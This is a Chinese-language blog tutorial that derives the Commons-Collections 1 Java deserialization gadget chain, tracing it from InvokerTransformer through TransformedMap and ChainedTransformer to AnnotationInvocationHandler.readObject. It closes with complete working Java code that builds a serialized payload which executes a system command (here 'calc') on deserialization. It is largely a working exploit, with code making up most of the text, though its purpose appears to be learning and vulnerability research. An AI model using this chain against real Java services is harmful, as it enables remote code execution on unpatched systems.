java反序列化commons-collections链1
文章目录
- CC1
- 利用条件:commons-collections 3.1-3.2.1 jdk<8u71
- 反序列化入口类的条件:可序列化,重写readObject方法,接收任意类作为参数
CC1
配环境的路上差点猝死,第一次弄真累啊,傻逼Oracle官网,给的版本对应关系都是乱的,最后猜路径https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe下到安装正版
注意这一步安装的路径不能跟之前的路径相同,否则会将之前文件夹的内容覆盖
随后在项目结构中添加新SDK为需要的低版本jdk,并在源路径中加入src文件夹(src文件夹需要加入openjdk的sun文件夹,具体内容可自行Google
接下来新建一个maven项目,并在pom.xml中加入依赖,加入后一般会自动下载依赖,或者用命令手动下载
<dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
</dependencies>
漏洞点出在cc依赖的Transformer接口,它的一个实现类InvokerTansformer.java可以实现反射对任意类的调用
public class Main {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);}
}
//通过transform方法实现对任意方法的调用
接下来往前找,看一看什么方法调用了transform
在TransformedMap类中,checkSetvalue方法调用了transform
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}
需要valueTransformer的值可控为invoke那个类
所以看构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}
是protected,就看它自己哪些类调用了,在同一个文件中找到decorate方法,假设在这里我们可以完成类的传入
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}已经知道了构造函数怎么传参就可以尝试传入我们要的危险类
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
TransformedMap.decorateTransform(map,null,invokerTransformer);
继续看哪些类调用了checkSetValue方法,发现class类的setValue方法有所调用
static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}
那么就可以利用MapEntry的setValue方法调用checkSetValue方法,进而调用transform方法。
接下来思考怎么调用setValue方法,了解到java的hashmap是可以通过entry来访问的,所以可以通过循环调用MapEntry.setValue
Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);}
到这里我们的链子又更长了,可以通过entry.setValue执行任意代码,我们接着向前找,如果有一个类的readObject方法调用setValue,并且参数可控的话,那岂不是就一步到位了吗
你别说,还真有那么一个类AnnotationInvocationHandler
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
membervalue可以通过构造函数传入,但是类名没有方法作用域,那就是default方法,default方法默认只能在当前包中查看,所以需要通过反射拿来类使用
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
同样构造方法也是default范围,通过反射调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor=c.getDeclaredConstructor(Override.class,Map.class);annotationConstructor.setAccessible(true);Object o=annotationConstructor.newInstance(Override.class,transformedMap);
接下来又陷入了困难,一个是Runtime不可以序列化,需要反射调用,一个是setValue我们需要控制参数,而在readObject里显然不太好控制,另外一个是在执行setValue之前需要绕过两个if判断,我们一个一个解决
反射调用类Runtime,因为虽然Runtime不可序列化,但是它的Class(类的原型)可以序列化,我们就可以利用Class这个东西搞出来一个Runtime
Class c=Runtime.class;
Method getruntimeMethod=c.getMethod("getRuntime",null);
Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
Method execMethod =c.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");并改成用InvokerTransformer方法写的反射
Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);注意观察后一个类都是对前一个类的调用,有一个类ChainedTransformer恰好可以实现这样的功能
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;
}利用它再改造一下
Transformer[] transformers=new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);
到这里我们不考虑绕过if判断,其实就已经打通了整条链子,从后向前回顾一下。
用ChainedTransformer封装反射的流程,只要执行ChainedTransformer.transformer()就可以调用危险函数,HashMap的setvalue方法中用了checksetvalue方法,而checksetvalue方法又调用了transformer方法,所以将ChainedTransformer放进HashMap里,调用它的setvalue方法就可以走到链子的终点,再向前走,AnnotationInvocationHandler的readObject方法调用了setvalue方法,所以将HashMap放进AnnotationInvocationHandler里,在反序列化时自动调用setvalue方法,从而走到链子的终点
public class CC1Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transfromedMap = TransformedMap.decorate(map, null, chainedTransformer);Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = c1.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transfromedMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}
但是到这里我们还是不能打通,因为我们还剩下两个问题,一个是绕过if判断,一个是更改value的值,先下个断点跟到readObject里,看看它的判断逻辑
type是你传入的注解类,第一个if判断做一件事,从你的hashmap里拿出key的值,并查找你的注解中有没有这个值,想绕过很简单,我们找一找注解里有什么值,并将它写到hashmap里即可,看一看之前的override注解
啥也没有,换一个注解Target
有value可用,所以我们调整一下之前的代码
map.put("value","value");
继续跟进,发现第二个if似乎不用绕,自己就过去了,那我们还剩下最后一个问题,就是setValue函数的参数必须可控,才能传入Runtime.class继续执行
这个时候用到一个神奇的类,
public Object transform(Object input) {return iConstant;
}
不管传入什么,它的transform方法都能返回一个固定的类,并且这个类还是可控的,冥冥之中自有天意啊,在chained中做一个简单的调整
Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
成功打通 !
完整代码如下
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//反射调用Runtime的执行方法
// Class c=Runtime.class;
// Method getruntimeMethod=c.getMethod("getRuntime",null);
// Runtime runtime= (Runtime) getruntimeMethod.invoke(null,null);
// Method execMethod =c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");
////利用Invoke类反射执行Runtime
// Object getruntimeMethod=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);HashMap<Object,Object> map=new HashMap<>();map.put("value","value");Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);//反射调用入口点构造函数Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationConstructor=c.getDeclaredConstructor(Class.class,Map.class);annotationConstructor.setAccessible(true);Object o=annotationConstructor.newInstance(Target.class,transformedMap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}}